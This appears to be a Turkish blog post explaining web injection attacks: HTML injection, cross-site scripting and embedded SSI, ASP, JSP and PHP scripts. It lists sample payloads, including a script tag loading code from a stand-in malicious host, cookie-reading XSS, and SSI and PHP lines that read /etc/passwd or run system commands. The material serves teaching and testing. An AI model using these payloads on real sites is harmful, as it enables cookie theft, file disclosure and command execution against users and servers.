HTML Injection
En basit script atağı form alanına <script> tag'ini girmek. Bu atağın gerçek hedefleri, kötü niyetli içeriği görecek olan diğer uygulama kullanıcıları olacaktır ki, sosyal mühendislik saldırısına kurban olacaklar.Bu saldırının 2 ön şartı var:
- Uygulama kullanıcıdan girdi kabul etmek zorunda. Dikkat: bu girdi form alanından yapılamk zorunda değil; URL sorgu parametresi, HTTP header ve cookiler de olabilir.
- Uygulama, girdiyi tekrar göstermeli. Saldırı, uygulama veriyi render ettiğinde oluşacaktır; girdi HTML tag olacak ve borwser tarafından yorumlanacak.
XSS (Cross-Site Scripting)
XSS saldırılarında kötü niyetli kod, genellike JavaScript, başka kullanıcıların göreceği lokasyonlara yerleştirilir. Genelde kullanıcının cookie'sini çalmak için kullanılır.<script>document.write(document.cookie)</script>
<script>alert('Salut!')</script>
<script src="http://www.malicious-host.foo/badscript.js"></script>Üçüncü örnekte başka bir sunucudaki .js dosyası çağırılıyor ki bu şekilde uzunluk sınırlamasından rahatlıkla sıyrılabiliyoruz.
XSS saldırısının diğer yolları:
- Bir uygulamanın arama motoru, XSS saldırıları için birincil hedeftir:
- Hata sayfaları çoğu zaman XSS saldırılarına konu olur:
http://website/inc/errors.asp?Error=<script%20src=...
Embedded Scripts
XSS saldırısı uygulamanın başka kullanıcılarını hedef alırken, gömülü script saldırısı uygulamanın kendisini hedef alır.Bu olayda <script> tag çiftleri değil, formatlama tag'leri kullanıyoruz: SSI direktifleri, ASP parantezleri, PHP parantezleri, SQL sorgu yapıları ve hatta HTML tag'leri. Birkaç kategori:
- ASP sayfaları için date() fonksiyonunun sonuç dönüp dönmediği test edilir:
- Sunucu-tarafı "include"ları :
<!--#include virtual="global.asa" -->
<!--#include file="/etc/passwd" -->
<!--#exec cmd="/sbin/ifconfig –a" -->
- Gömülü Java ve JSP de ASP kadar tehlikeli:
<% java.util.Date today = new java.util.Date(); out.println(today); %>
- PHP'yi unutmayalım:
<? print(Date("1 F d, Y")); ?>
<? Include '/etc/passwd' ?>
<? passthru("id");?>
Cookies and Predefined Headers
Küçük ve büyük işaretlerini HTML-encode değerlerine çevirelim: < küçüktür için ve > büyüktür için.Bazı uygulamalar kullanıcının bold, italik, altı çizgili vs değerler girmesine izin vermesi gerekebilir. Bu durumda sadece zararlı olduğunu düşündüğü tag'leri engelleme yoluna gidilmiş olabilir. Bu gibi durumlar için aşağıdakine benzer girdi değerleri deneyebiliriz:
Hiç yorum yok:
Yorum Gönder